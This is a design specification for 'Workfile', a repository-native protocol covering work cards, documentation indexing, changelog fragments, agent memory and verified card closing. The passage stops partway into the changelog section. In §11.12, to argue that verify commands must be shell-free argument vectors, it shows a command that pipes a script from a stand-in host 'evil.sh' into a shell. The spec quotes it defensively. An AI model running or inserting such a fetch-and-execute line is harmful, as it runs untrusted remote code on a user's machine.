workfile

GET /docs/specAccept: text/markdown/docs/spec.md≈22,600 tokens

Spec — Repository Workfile

Status: v2.0 RC2 — MCP INTEGRATION CONTRACT — 2026-07-28

Product name: Workfile
Package name: @illodev/workfile
CLI name: workfile (alias wf; the MCP server is workfile-mcp)
Default storage root: .project/

This document defines a portable, repository-native operating protocol for project work, documentation, change history and durable workfile memory. It is intended for humans and software agents working in the same codebase.

The names above are placeholders. Renaming the product or package must not change the data model or the protocol.

1. Purpose

Projects accumulate operational knowledge in several incompatible places:

  • pending work in issue trackers, planning documents, comments and agent summaries;
  • documentation spread across READMEs, architecture notes and product specifications;
  • changes recorded inconsistently in commits, release notes and changelog files;
  • decisions, incidents and lessons retained only in conversations or individual memory.

This fragmentation causes two recurring failures:

  1. Humans cannot obtain a reliable view of what the project knows, what it plans to do and why previous decisions were made.
  2. Agents repeatedly rediscover context, produce duplicate work, overwrite each other or finish a session without persisting newly discovered knowledge.

The Repository Workfile solves this by defining a versioned, local-first standard whose canonical records live inside the repository as reviewable text files.

The protocol covers four first-class domains:

  1. Work — cards representing ideas, tasks, bugs, features and execution hierarchy.
  2. Docs — discoverable project documentation, whether managed or merely indexed.
  3. History — structured change fragments and generated release changelogs.
  4. Memory — durable decisions, learnings, incidents, conventions and temporary context.

A local UI, CLI and agent integrations operate over the same data model. None of them owns exclusive state.

2. Goals

The standard MUST:

  • keep the repository as the source of truth;
  • remain useful without a hosted service;
  • work in single repositories and monorepos;
  • be readable and editable without the official UI;
  • provide deterministic parsing and serialization for agents;
  • support thousands of records without hiding work in long documents;
  • expose one shared model to CLI, UI, CI and agent tools;
  • support configuration without making every project semantically incompatible;
  • preserve history through Git instead of replacing it;
  • detect invalid, contradictory or stale project state;
  • permit gradual adoption by existing projects;
  • version the data contract and provide migrations;
  • avoid coupling the protocol to a particular AI vendor, IDE or issue tracker.

3. Non-goals

Version 2 does not aim to be:

  • a general-purpose team chat system;
  • a replacement for Git;
  • a hosted multi-tenant project-management SaaS;
  • a real-time distributed lock manager;
  • a full sprint, payroll or time-tracking product;
  • an automatic truth engine that rewrites documentation based on source code;
  • a vector database committed to the repository;
  • an unrestricted plugin marketplace;
  • a replacement for external issue trackers where an organization requires one.

External systems MAY be integrated through adapters, but the core standard remains usable without them.

4. Design principles

4.1 Repository-native

Canonical records are ordinary files committed to Git. A clone of the repository contains all durable protocol data needed to understand the project.

4.2 Text is canonical; indexes are disposable

Markdown and configuration files are authoritative. SQLite, search indexes, embeddings and other caches are derived state and MUST be rebuildable.

4.3 One fact, one owner

The same fact SHOULD NOT be duplicated across paths, filenames, frontmatter and generated indexes. References are preferred over copied state.

Examples:

  • hierarchy uses parent: rather than nested task folders;
  • attachments are discovered by record ID rather than duplicated in frontmatter;
  • generated changelogs consume fragments rather than becoming a second editable source;
  • collection labels come from configuration rather than being copied into each document.

4.4 Deterministic agent writes

An agent must be able to create or mutate a record without guessing formatting conventions. The official core MUST provide stable parsing, serialization, ID allocation and validation.

4.5 Human-editable escape hatch

The CLI and UI are preferred mutation paths, but direct file editing remains supported. workfile doctor is the reconciliation mechanism after manual edits.

4.6 Progressive enhancement

A project MAY adopt only cards first, then documentation, history and memory later. Missing modules MUST NOT make the installed modules unusable.

4.7 Portable semantics, configurable vocabulary

Core behavior is standardized. Projects may configure bounded vocabularies such as areas, labels and memory collections, but MUST NOT redefine fundamental semantics such as the meaning of a closed card or the identity of a record.

4.8 Local by default

The server binds to loopback by default, performs no telemetry by default and sends no repository data to an external service unless the user explicitly configures an adapter.

5. Terminology

Term Meaning
Workspace A repository root governed by one project.config.mjs.
Protocol root Directory containing managed protocol records, .project/ by default.
Module A first-class domain: cards, docs, changelog, memory or health.
Record A stable identifiable unit represented by a file.
Collection A configured group of records sharing a parser and semantics.
Managed document A document created and mutated by the protocol.
Indexed document An existing repository document discovered by the protocol but not owned by it.
Source A long-form or external-origin document from which operational records were derived.
Derived index Rebuildable search and relationship data stored outside canonical files.
Agent adapter Generated instructions or tooling for a particular assistant or IDE.
Schema version Version of the canonical on-disk protocol contract.

6. Distribution architecture

6.1 Initial packaging decision

The repository is a pnpm workspace with a private root; the published surface is one core npm package plus optional provider packages (for example @illodev/workfile-search-local) released in version lockstep with it. Repository layout and npm packaging are independent decisions — the core SHOULD keep shipping as one npm package with strong internal module boundaries:

@illodev/workfile
├── bin/                 # project executable
├── core/                # public programmatic API
├── modules/
│   ├── cards/
│   ├── docs/
│   ├── changelog/
│   ├── memory/
│   └── health/
├── server/              # local HTTP API
├── ui/                  # precompiled static application
├── agents/              # instruction generators
└── migrations/          # schema and legacy migrations

Reasons for a single core package:

  • installation and version alignment remain simple;
  • the existing implementation is already one vertical application;
  • UI, server and core can evolve atomically while contracts stabilize;
  • splitting the core would create release and compatibility overhead before independent consumers exist. Provider packages are the exception, not a split: they carry heavy optional dependencies (an inference runtime) that must never reach consumers who did not opt in.

The source code MUST still enforce boundaries that allow later extraction.

6.2 Future package split

The following split MAY occur after at least two independent consumers require it:

@illodev/workfile-core
@illodev/workfile-cli
@illodev/workfile-ui
@illodev/workfile-mcp
@illodev/workfile

The metapackage would preserve the same workfile command and configuration contract.

6.3 Runtime requirements

  • Node.js: current active LTS and later.
  • Package managers: npm, pnpm, Yarn and Bun projects are supported.
  • The distributed UI MUST be precompiled; consuming projects do not require Vite or React.
  • The package MUST not modify application dependencies unless explicitly requested.
  • The CLI MUST work through npx, pnpm dlx, yarn dlx and bunx where supported.

7. Workspace discovery

The CLI discovers a workspace using this order:

  1. Explicit --root <path>.
  2. Nearest ancestor containing project.config.mjs.
  3. Nearest ancestor containing .project/VERSION.
  4. Current Git worktree root.
  5. Current working directory.

Every command MUST print the resolved workspace root when --verbose is given. It goes to stderr, so a --json consumer is unaffected and the answer still reaches a human watching the run. workfile ui also prints it unconditionally as part of its startup banner, and --verbose additionally turns on request logging there.

A workspace is loaded through one function:

interface LoadWorkspaceOptions {
    cwd?: string;
    configPath?: string;
    readOnly?: boolean;
}

async function loadWorkspace(
    options?: LoadWorkspaceOptions
): Promise<ProjectWorkspace>;

Every CLI command, HTTP route, UI request and future MCP tool MUST use the same workspace loader. No module may infer repository-relative paths from its own installed package path.

8. Configuration

8.1 Canonical file

The canonical configuration file is project.config.mjs at the workspace root.

import { defineProject } from "@illodev/workfile";

export default defineProject({
    schemaVersion: 2,
    name: "Example project",

    storage: {
        root: ".project",
        cache: ".project/.cache"
    },

    cards: {
        enabled: true,
        path: ".project/cards",
        archivePath: ".project/cards/archive",
        assetsPath: ".project/assets",
        idPrefix: "T",
        maxHierarchyDepth: 2,
        claimLeaseHours: 24,
        areas: ["api", "web", "infra", "docs"],
        axes: { context: ["treasury", "verifactu", "billing", "iam"] },
        tags: []
    },

    docs: {
        enabled: true,
        managedPath: ".project/docs",
        layout: "kind",
        sources: [
            "README.md",
            "docs/**/*.md",
            "apps/*/README.md",
            ".project/specs/**/*.md"
        ],
        exclude: ["**/node_modules/**", "**/vendor/**"]
    },

    changelog: {
        enabled: true,
        fragmentsPath: ".project/changelog/unreleased",
        releasesPath: ".project/changelog/releases",
        output: "CHANGELOG.md"
    },

    memory: {
        enabled: true,
        path: ".project/memory",
        collections: [
            "learnings",
            "decisions",
            "incidents",
            "conventions",
            "context"
        ]
    },

    agents: {
        canonicalInstructions: ".project/agents/protocol.md",
        targets: ["agents-md", "claude", "cursor", "copilot"]
    },

    ui: {
        host: "127.0.0.1",
        port: 4747,
        open: true
    }
});

8.2 Configuration rules

  • schemaVersion is required.
  • All paths are repository-relative and MUST resolve inside the workspace unless a specific read-only external source adapter permits otherwise.
  • The config module MUST be loaded without transpilation.
  • Unknown top-level keys produce a warning in development and an error in strict CI mode.
  • Environment variables MAY override runtime settings such as host and port, but MUST NOT silently alter canonical storage paths.
  • Functions in configuration are permitted only through documented extension points.
  • Secrets MUST NOT be stored in project.config.mjs; adapters use environment variables or external secret stores.

8.3 Stable and configurable vocabularies

The following are protocol-defined and stable in schema version 2:

  • card statuses;
  • base card types;
  • priority semantics;
  • relationship fields;
  • core memory kinds;
  • changelog fragment types;
  • record identity and date formats.

The following are project-configurable:

  • areas;
  • additional classification axes (cards.axes);
  • the commands a card may name and the verification methods each area accepts at done (cards.verification);
  • optional custom tags;
  • source globs;
  • enabled memory collections;
  • UI preferences;
  • agent adapter targets;
  • additional validation rules.

Projects MAY add custom card types or memory collections through namespaced extensions, but portable tools are required to treat unknown namespaced values as generic records rather than failing to load the workspace.

9. Canonical folder layout

project.config.mjs
.project/
├── VERSION
├── cards/
│   ├── T-0001-example.md
│   └── archive/
├── assets/
│   └── T-0001/
├── docs/                       # optional managed documents
├── changelog/
│   ├── unreleased/
│   └── releases/
├── memory/
│   ├── learnings/
│   ├── decisions/
│   ├── incidents/
│   ├── conventions/
│   └── context/
├── specs/
├── sources/                    # optional raw inputs, created on first use
├── agents/
│   ├── protocol.md
│   └── workflows/
└── .cache/                     # gitignored, fully rebuildable

Rules:

  • .project/VERSION contains the schema version and MAY contain migration metadata.
  • Canonical record folders are committed to Git.
  • .project/.cache/ MUST be ignored by Git.
  • Empty optional directories need not exist until first use.
  • Existing project documentation may remain outside .project/ and be indexed through configuration.
  • Record files SHOULD remain flat within their collection unless that collection explicitly defines date- or release-based partitioning.

10. Common record contract

All managed records share a small conceptual contract:

interface ProjectRecord {
    id: string;
    kind: string;
    title: string;
    path: string;
    created?: string;
    updated?: string;
    tags?: string[];
    related?: string[];
    body: string;
}

Not every file must physically repeat kind when its collection supplies it. The normalized runtime model includes it.

10.1 IDs

  • IDs are stable and MUST never be reused.
  • An ID is <PREFIX>-<SEQUENCE> unless a module defines a date-keyed release ID.
  • Default prefixes:
Record Prefix Example
Card T T-0042
Managed doc DOC DOC-0012
Changelog fragment CHG CHG-0091
Learning LRN LRN-0017
Decision ADR ADR-0008
Incident INC INC-0004
Convention CONV CONV-0006
Context CTX CTX-0011
  • Sequence width is at least four digits and expands without changing existing IDs.
  • Allocation MUST scan active and archived records or use a transaction-safe local allocator.
  • Concurrent CLI writers MUST not receive the same ID.

10.2 Dates

  • Calendar dates use YYYY-MM-DD.
  • Exact timestamps use RFC 3339 UTC unless a field explicitly requires a calendar date.
  • created is immutable after creation.
  • updated changes when canonical content or metadata changes.
  • Generated indexes MUST preserve the source file modification time separately from semantic updated.

10.3 References

Cross-module references use record IDs where possible:

related: [T-0042, ADR-0008, CHG-0091]

Paths remain valid where the target is not a managed record:

source: docs/research/payment-retries.md

The indexer resolves references into a graph. Unknown IDs produce doctor warnings or errors according to the field's strictness.

10.4 Frontmatter format

The protocol uses a deliberately restricted YAML-compatible subset:

  • one scalar per line;
  • inline scalar lists using [a, b];
  • JSON-compatible double-quoted escaping;
  • simple single-quoted scalars may be read for compatibility;
  • block scalars (|, >) and block sequences may be read, and are written back in the style they were read in;
  • a scalar list written as a flow sequence spread over several lines — which is what a formatter produces from [a, b] when the line exceeds its print width — MUST be read as the list it is, for any key declared a list;
  • nesting goes exactly one level deep, in one of two shapes — a mapping of scalars and inline lists, or a sequence of such mappings;
  • no anchors, aliases or tags, and no nesting past that one level;
  • deeper structures use dedicated JSON files or repeated Markdown sections.

A key whose value falls outside this subset MUST be preserved verbatim on read and MUST be refused on write, with an error naming the key. Writing a value the format cannot represent MUST be refused for the same reason: silently serializing it loses what the author wrote.

The parser and serializer MUST be exact inverses for supported values. Repeated saves MUST not cause textual drift. A nested value's list-ness is determined by how it is written — [a, b] — and not by the name of its key, since key-level list declarations apply only to the top level.

A multi-line flow sequence is the single exception to style preservation, and MUST be written back on one line. Reproducing the way it was read would mean re-deriving a formatter's line breaks from a print width the codec does not know, and it is only ever rewritten as part of a write to that key. Drift is bounded rather than absent: the shape converges on the canonical one in a single save and is stable from there.

11. Module: Work cards

11.1 Purpose

Cards represent actionable or potentially actionable project work. They are the operational layer of the protocol and SHOULD remain concise enough to scan, prioritize and execute.

11.2 File format

Filename:

T-NNNN-short-slug.md

Example:

---
id: T-0042
title: Prevent duplicate invoice submission
status: doing
type: bug
priority: high
area: billing
parent: T-0010
depends: [T-0038]
origin: [T-0031, ADR-0004]
source: .project/sources/audits/invoicing.md
tags: [invoices, idempotency]
effort: M
start: 2026-07-28
due: 2026-08-01
scope: [apps/api/src/Billing, packages/sdk]
claimed_by: session-56a30d1b
claimed_at: 2026-07-28T09:32:00Z
created: 2026-07-26
updated: 2026-07-28
---

The submission endpoint can create duplicate records after a network retry.

## Acceptance criteria

- [ ] Repeated requests with the same idempotency key create one invoice.
- [ ] Existing non-idempotent clients remain compatible.

## Activity

- 2026-07-28 09:32Z alice@studio · claimed
- 2026-07-28 11:04Z alice@studio via:claude-opus-4-1/high · backlog → doing

## Notes

- 2026-07-28 — Claimed after confirming no overlapping active scope.

## Activity is the durable trail: every claim, release, transition, archive and renumber appends one line, written by the mutation itself rather than by the caller. A command that moved nothing appends nothing, so transition ID review against a card already in review leaves no entry, and archiving an archived card leaves none either. Archiving and unarchiving are written as archived and unarchived rather than as a status change, because neither moves the status. ## Notes is the opposite — free prose a human or agent writes deliberately.

A move that force let past a gate MUST say which gate and why, on the same line — review → done (forced past 3 unproven criteria: REASON) — and the reason MUST be demanded when, and only when, force waived something. Without it a forced close and a proven one are the same entry, and every count taken over closed cards counts them alike.

Set cards.activityTrail: false to switch the trail off for a workspace. It defaults to true, and the only reason to disable it is a repository where the churn costs more than the history is worth; the claim guards and the doctor do not read it.

11.3 Statuses

Status Meaning
backlog Identified with no commitment on when.
next Explicitly prioritized for the upcoming execution batch.
doing Work is actively in progress.
review Implementation is complete but awaits verification, deployment or sign-off.
blocked Progress depends on an external condition; Notes explain it.
deferred Deliberately postponed; Notes record the decision.
done Finished and verified in an environment where the result runs.
discarded Will not be done; Notes explain why.

done does not mean merely committed or merged. User-visible changes remain review until verified in an appropriate running environment.

11.4 Types

Type Meaning
epic Grouping record for related executable work.
idea Unvalidated proposal, hidden from execution views by default.
feature Accepted product capability.
bug Incorrect existing behavior.
task General executable work.
audit Investigation or verification work.
docs Documentation work.
chore Maintenance without direct product behavior.

11.5 Priority

Priority Meaning
critical Immediate material risk or production impact.
high Important work that should be prioritized soon.
medium Normal priority.
low Valuable but safely postponed.

Priority MUST not encode workflow state or effort.

11.6 Classification axes

area is one axis and it is shaped like a delivery layer. A project that also needs a domain axis — bounded contexts, products, customers — declares one under cards.axes:

cards: {
    areas: ["api", "web", "infra"],
    axes: { context: ["treasury", "verifactu", "billing", "iam"] }
}

Each declared axis becomes a flat frontmatter key on the card:

area: api
context: treasury

Flat, not a nested axes: mapping, so the value stays greppable and the existing query grammar reads it without a second index: search "context:treasury" already filters on any frontmatter key.

An axis is either its vocabulary, as above, or an object:

axes: { goal: { values: ["guards-server", "fugas-cross-tenant"], required: false } }

Rules:

  • an axis name MUST NOT collide with a field a card already owns;
  • an axis MUST declare a non-empty vocabulary;
  • an axis declared as an array is required; { values, required: false } declares the vocabulary without expecting a value on every open card;
  • a card value outside the declared vocabulary is invalid, the way an unknown area is;
  • an axis is optional on a card unless a project rule says otherwise;
  • an undeclared frontmatter key remains legal and unvalidated — declaring an axis is what turns a free-text note into something that fails loudly.

Health checks MUST report a card value outside the declared vocabulary as an error, whether or not the axis is required. A card carrying no value for a required axis SHOULD be a warning, and only while the work is open: declaring an axis on an existing repository must not produce one diagnostic per finished record. A card carrying no value for an axis declared required: false is not reported: the shape exists for boards whose resting state is not done, where the open-work exemption alone measured at three quarters of the doctor output.

The schema surface reports the declared axes and which of them are optional, so an agent discovers them the way it discovers areas rather than by reading the config file.

11.7 Hierarchy and relationships

The default hierarchy is:

epic → task → subtask

Rules:

  • hierarchy is expressed only through parent:;
  • files do not move when re-parented;
  • maximum depth defaults to two levels below an epic;
  • any non-epic card may have children when within the configured depth;
  • hierarchy cycles are invalid;
  • deleting a parent is forbidden while references remain;
  • depends: is an ordering hint, not a hard execution lock.

A card carries five relationship fields, and they are not interchangeable:

Field Holds Means
parent one card ID this card is part of that one
depends card IDs those must close before this one is actionable
origin record IDs, any kind this card was discovered while working on those
raised reported | derived who put it on the board: a person asked, or an agent inferred it from the repository
related record IDs, any kind worth reading alongside; no direction, no claim
source a repository-relative path the file the work came from, checked on disk

origin is provenance, not decomposition. A card found while working on another is not part of it — the origin is usually already closed, blocks nothing, and the reason it matters is the direction: it answers where did this come from, and read backwards, what did that produce. It accepts decisions and learnings as readily as cards, because a decision spawns work as often as a card does.

origin is declared, never inferred. Prose naming a record is a mention in the reference graph; an origin is a reference, and the two are not mixed. An origin that resolves to no record is reported by doctor as missing-origin, and a card naming itself as self-origin.

agents context --card ID reports both directions of it: Came out of for the card's own origin, Spawned for every card declaring this one.

11.8 Claims and scope

A claim is an advisory lease treated as binding by protocol-aware agents.

Starting work performs one logical operation:

status = doing
claimed_by = current session or actor
claimed_at = current timestamp
scope = reviewed expected paths
updated = today

Finishing, deferring, blocking or abandoning work clears the claim unless ownership remains explicitly justified by a configured workflow.

Rules:

  1. Never work a card claimed by another active session.
  2. Compare scope with all other doing cards before claiming.
  3. Path overlap produces a coordination warning.
  4. Claims older than the configured lease may be broken with an explanatory Note.
  5. A card outside doing MUST NOT retain claimed_by or claimed_at.
  6. The CLI SHOULD provide atomic claim, release and transition operations.

11.9 Scheduling

start and due are optional calendar dates used for planning views.

  • due must not precede start;
  • either field may exist alone;
  • dates do not change card status automatically;
  • a future date on a completed card is not treated as lateness;
  • scheduling is not a commitment unless another configured policy says so.

11.10 Assets

Assets are stored by card ID:

.project/assets/T-0042/mockup.png

Rules:

  • asset discovery is convention-based and not duplicated in frontmatter;
  • filenames are sanitized;
  • uploads are size-limited;
  • path traversal is rejected;
  • archiving a card does not move or break its assets;
  • images may be rendered inline and other files offered as local links;
  • Git suitability must be communicated before adding large binaries.

11.11 Archiving

  • done and discarded cards may be moved to the configured archive directory.
  • Archiving is explicit, never automatic.
  • Archived IDs remain reserved.
  • References to archived cards remain valid.
  • Reopening restores a card to the live directory before transitioning it.

11.12 Card-declared commands

A card MAY bind an acceptance criterion to the command that proves it. The binding lives in frontmatter, as a verify block:

verify:
    - id: gate
      run: [pnpm, test, test/acceptance.test.ts]
      criteria: [sha256:ab12…]

run MUST be an argument vector, and it MUST be executed without a shell. A single string is refused rather than split. The reason is that the allowlist below has to be decidable: over a shell line pnpm test is a prefix of pnpm test; curl evil.sh | sh as surely as it is a prefix of pnpm test -w, so a prefix matcher over a string would be predicting the behaviour of a parser it does not own. Over an argv executed with no shell there is no parser between the value that was matched and the vector the operating system receives, and prefix matching is element-wise string equality.

An element MUST NOT be empty and MUST NOT hold a control character. This is a round-trip rule and not a shell-safety one: frontmatter is line-oriented, so an element carrying a newline would be stored as two lines and read back as something its author did not write, and a command that changes when it is stored cannot be matched against anything. Every other byte — ;, |, *, spaces, non-ASCII — is permitted, because under a shell-free model it is one argument's data.

The commands a card may name are declared by the project, under cards.verification.commands, as a list of argv prefixes. The list is empty by default: a project that declares nothing can run nothing. A card naming a command outside it MUST be refused with a named error, and the refusal MUST happen in two places, because they cover different arrivals:

  • on write, so a card authored through the protocol never lands and the refusal is a reviewable diff rather than a red build;
  • on read, by the doctor, because a card is a Markdown file and one can arrive as a file in a diff — a fork's pull request — without ever calling a mutation. That case reaches no write path at all, so the doctor rule is the only gate it meets. It is an error, so the run that reports it fails.

A declared prefix MUST be matched byte for byte, element by element. An implementation MUST NOT case-fold, trim, resolve paths, strip quotes, apply Unicode normalisation, or join the vector into a string and search it: each opens a gap between the command that was matched and the command that will run. A declared entry that could never match a stored command — an empty array, which is a prefix of everything, or an element the round trip would not return unchanged — MUST be refused when the configuration loads.

The allowlist bounds which command a card may name. It does not bound what that command does, and MUST NOT be documented as though it did: every command worth allowing dispatches through a file the same pull request can edit. It is anti-escalation on a trusted branch and a way to keep a declared command reviewable in one place. Containment for an untrusted branch is a property of the job — no secrets, no write token, no evidence written back — not of the card.

Running them. workfile card verify ID executes each declared entry and reports pass or fail per entry. It is the only writer permitted to check a bound criterion: a criterion a verify entry names is refused to card ac --check, so without this command a card that binds its criteria is a card nothing can close. An entry MUST be permitted to write the criteria bound to it and no others — a runner that could check anything would be the same escalation one rung further in, reached by declaring an entry instead of by typing --check. Every entry the card declares MUST be checked against the allowlist before the first one is spawned, whether or not the caller selected it.

A criterion's box records what a command decided, so only a command that reached a decision may write one:

Outcome Condition Bound criteria
passed Exit status 0. Checked.
failed Any other exit status. Unchecked.
timed-out Killed at the configured timeout. Unchanged.
errored No process started. Unchanged.

A failing run unchecking what a passing one checked is the honest reading: a proof that no longer reproduces is not a proof, and leaving the box would let done pass on it. The last two rows are not a weaker failed and MUST NOT be treated as one. Killing a command at the timeout is the implementation giving up, and a machine that cannot start the command has decided even less; neither is a fact about the criterion, and unchecking on either would let a run on the wrong machine erase a proof a right one produced — which no caller could undo, the criterion being machine-owned. All four are reported, and any outcome other than passed MUST fail the run.

A run that changes a criterion's state MUST leave a trail entry naming the entry that changed it, in the same write as the change. A state change with no actor behind it is precisely what §11.2's trail exists to prevent, and a box that moved because a subprocess exited has no author in the record otherwise. A run that changes nothing records nothing, by the same rule as a repeated transition.

The commands MUST run outside the card's write lock, and the bindings MUST be resolved against a reading of the card taken after the last command exits: the interval is minutes long, and a criterion reworded inside it is no longer bound to the entry, so the write is refused by name rather than applied to whatever line moved into that position.

A command MUST be given a bounded time to run — cards.verification.timeoutSeconds, ten minutes by default — and an implementation MUST NOT offer a way to disable it. The caller most likely to meet a command that never exits is an unattended job, which has no keyboard to interrupt it with.

There is no dry run. The flag previews filesystem changes, and a run that spawns every declared command and then skips the write-back has already done the part worth previewing; it MUST be refused rather than reinterpreted.

11.13 How done was proved

Reaching done MUST write a verified block, and leaving done MUST clear it. It is written by the protocol on every path into the status — transition, patch, release and bulk, from every surface — and it is not patchable: no caller can hand-write it, and an axis cannot be declared with that name.

verified:
    at: "2026-08-05T10:12:00.000Z"
    method: ci
    commit: 4b939fd2c1e07a0d5b6c8e93f1a2d4c7b8e05f36
    run: "https://ci.example/runs/1284"
    digest: "sha256:1f0c…"

method is one of local, ci, manual or forced, and the tiers carry more of the substance here than the digest does.

Method Meaning Requires
local A command ran on the author's machine. Self-reported, and the default when no method is given.
ci A run anyone can open. run
manual A person judged something no command expresses. prose evidence, and an actor
forced The acceptance gate was walked past.

forced is derived, never supplied: it is written when, and only when, assertAcceptanceMet waived something, and a caller who asks for it MUST be refused. What was waived, and why, stays on the trail line described in §11.2 — recording the reason twice would create two places to disagree. A method supplied on a write that does not move the card into done MUST be refused rather than dropped, and so must a second method on a card that is already done: a close records the verification once, and a re-run of the command must not silently replace ci with local.

manual evidence is prose, so it goes in the body, as one line under ## Notes- 2026-08-05 10:12Z alvaro — manual verification: TEXT. The frontmatter codec holds one scalar per line, so anything longer could not live there without being mangled.

commit is HEAD at the moment of the close, and it is omitted when there is nothing to record. Git is optional: a workspace that is not a repository, a repository with no commits, and a machine with no git all close cards normally and simply carry no commit.

The digest covers the criteria region and the verify block, and nothing else. It cannot cover the body, because the same transition appends a trail entry — a whole-body digest would be invalidated by the write that created it. It is taken over a canonical reading rather than over raw text: the criteria as normalised text, sorted, plus the verify entries with their criteria sorted. Reordering criteria, checking a box, reflowing a paragraph and rewriting prose outside the region therefore leave it alone; editing what a criterion says does not.

Staleness is reported and never enforced retroactively. doctor reports, as warnings:

  • verified-criteria-changed — the card is verified against criteria text that has since changed;
  • verified-commit-unreachable — a live done card's commit is not an ancestor of HEAD, so the branch that proved it may have been rebased away or never merged. Silent when git is absent, when the workspace is not a repository, when the clone is shallow, and when the object is not present: those are refusals to answer, not findings;
  • verified-block-invalid — the block does not read as a verification. Nothing in the protocol can write one, so it means a hand edit or a card that arrived as a file in a diff. Worth reporting because a block the codec cannot read makes the card unwritable in both directions: it can be neither rewritten nor cleared, so reopening it fails too.

A done card carrying no block at all is deliberately not reported. Every card closed before this existed has none, and a warning per historical card is how doctor output stops being read.

11.14 Which methods an area accepts

A project MAY declare, per area, which of the methods above it accepts at done, under cards.verification.methods:

cards: {
    areas: ["api", "web", "docs"],
    verification: {
        methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] }
    }
}

* answers for every area the map does not name, including areas added after the policy was written. A project that declares nothing accepts every method, which is the behaviour of every workspace written before this key existed, and an implementation MUST treat "declares nothing" and "declares the whole vocabulary" as distinguishable: the first has no opinion and the second is a policy somebody wrote.

A write that would move a card into done with a method the card's area does not accept MUST be refused with a named error, from every surface, and the refusal MUST name the accepted methods. A caller that names no method is judged, not exempt: §11.13 resolves an unnamed method to local, so under { api: ["ci"] } a bare close of an api card is refused. The permissive reading — no method recorded, therefore nothing to check — would make the gate escapable by typing less.

The gate is waivable, like the other two gates a close meets. --force with a reason gets past it, the trail line names the area's verification policy among what was waived, and the block then records forced rather than the method that was refused — which is why a forced close MUST NOT also name a method. A policy MUST NOT name forced itself: it is not a method a caller chose, and a project declaring it would be accepting a bypass as proof.

The methods a policy names MUST be validated when the configuration loads. The areas it names MUST NOT be: an area may be removed from cards.areas while the policy still names it, and a configuration that refuses to load takes every command in the repository with it — including the doctor that would have explained why. It is reported instead, as verification-policy-area-unknown, beside the equivalent finding for a search.provider that resolves to nothing.

Policy is not applied retroactively. A card already done whose recorded method the current policy no longer accepts is reported as the warning verification-method-unaccepted and never re-gated: tightening a policy must not invalidate closed work, and there is nothing to do about a shipped card except decide it is acceptable, which is what the doctor baseline is for.

11.15 What produced a write

The trail records an actor — which human, which session — and nothing about what did the work. A writer MAY declare what produced its writes, and when it does the protocol records it in two places: on the trail line as a second token after the actor, via:MODEL/REASONING, and in frontmatter as produced_by.

produced_by:
    model: claude-opus-4-1
    reasoning: high
    basis: self-reported

Rules:

  1. Beside the actor, never inside it. claimed_by and the actor segment of a trail line are unchanged by a declared producer. Every comparison of actors — the claim guard, claimSeparation, the edit hook — reads the same string it read before.
  2. Self-reported, and the record says so. The declaration comes from the writer's environment (WORKFILE_MODEL, WORKFILE_REASONING, the host's own effort variable, or what the host's hook copied into the session file), and an agent can set an environment variable to anything. Every block carries basis: self-reported and MUST NOT be read as attested.
  3. Both halves, or the absence stated. model and reasoning are each a label or the word undeclared; the trail token drops an undeclared reasoning and keeps an undeclared model, so the line still says a producer was declared and what was not.
  4. A label, not a payload. A declared value is at most 64 characters of [A-Za-z0-9._:+-]. Anything else is refused and reported to the caller, never written. This is what keeps the field from carrying a prompt, a key or a path into a committed record.
  5. Last declared writer, plus history. The frontmatter block holds the newest writer that declared a producer, so it can be counted over without parsing prose; the trail keeps every earlier one. A write that declares nothing puts no token on its line and leaves the block as it was — the line without a token is the record of that write, and a human's note after an agent's close does not erase which model closed it. The block is not patchable and cannot be declared as an axis.
  6. Nothing declared, nothing written. A workspace where no writer declares a producer produces records byte-identical to those of a protocol without this section. A writer that declared something the record refused is not that case: its write records undeclared on both halves, because it said it was something.

doctor reports produced-by-invalid, a warning, for a block that does not read as a producer: the protocol cannot write one, so it is a hand edit.

12. Module: Documentation

12.1 Purpose

The Docs module provides one navigable and searchable view over project documentation without requiring a disruptive migration of existing files.

It distinguishes:

  1. Indexed documents — existing files owned by the project structure.
  2. Managed documents — records created under the protocol with structured metadata.

12.2 Indexed documents

Configured glob patterns discover documents such as:

README.md
docs/**/*.md
apps/*/README.md
packages/*/docs/**/*.md

Indexed documents:

  • remain at their original path;
  • are read-only by default in the protocol UI;
  • may be opened in the configured editor;
  • may participate in search, backlinks and freshness checks;
  • do not require protocol frontmatter;
  • receive a derived identity based on path unless explicitly assigned a managed ID.

An indexed tree that is published as a site may declare itself with docs.routeRoots. Inside such a root, a link target is a route rather than a path: it resolves from the root itself rather than from the linking file, and onto whichever file backs the route — .md, .mdx, or an index of either. Without it, a documentation site whose house style is [text](section/page) has every link reported as broken, and any genuinely dead one is lost in the noise.

routeRoots only ever widens what resolves. The file-relative reading is still tried, and outside a declared root a link is a path.

12.3 Managed documents

Managed documents live under .project/docs/ or another configured path.

---
id: DOC-0012
title: Billing architecture
kind: architecture
status: current
owners: [billing]
related: [T-0042, ADR-0008]
created: 2026-07-20
updated: 2026-07-28
---

Long-form documentation body.

Default document kinds:

  • architecture
  • product
  • runbook
  • guide
  • reference
  • research
  • spec
  • handoff

Default statuses:

  • draft
  • current
  • stale
  • superseded
  • archived

Projects MAY add namespaced kinds.

Managed documents MAY live in folders below the managed path. Implementations MUST load them recursively, so a folder created by hand is a valid organization with no protocol change, and MUST keep the identifier global and sequential: two documents MUST NOT share an ID even in different folders. Folders are organization, never identity, so moving a document MUST NOT change its ID.

docs.layout selects where new managed documents are written:

  • kind (default) — a folder named after the document kind;
  • flat — the managed root.

An explicit folder (--folder, or folder in the API) MUST override the layout and MUST be rejected when it resolves outside the managed path.

12.4 Relationships

Docs may reference:

  • cards that implement or maintain them;
  • decisions that justify them;
  • incidents that changed procedures;
  • other documents they supersede;
  • source-code paths they describe.

The UI SHOULD show incoming and outgoing links.

12.5 Freshness

The protocol MUST distinguish objective checks from heuristic checks.

Objective examples:

  • referenced path no longer exists;
  • related managed record ID is invalid;
  • document declares supersedes but target is missing.

Heuristic examples:

  • source paths changed after the document's updated date;
  • related cards completed after the document was last reviewed;
  • configured review interval expired.

Heuristic freshness issues are warnings, never automatic rewrites.

12.6 Documentation mutations

The MVP UI MAY keep documents read-only. The core and CLI MUST nevertheless expose safe create and update functions for managed documents so future editors and agents do not bypass validation.

13. Module: Changelog and releases

13.1 Purpose

The changelog module records user-meaningful and operator-meaningful changes as atomic fragments, then composes them into releases and optional generated files.

Git commits remain implementation history. Changelog records describe the meaning of change.

13.2 Change fragment format

---
id: CHG-0091
title: Prevent duplicate invoice submissions
type: fixed
area: billing
visibility: public
cards: [T-0042]
issues: []
created: 2026-07-28
updated: 2026-07-28
---

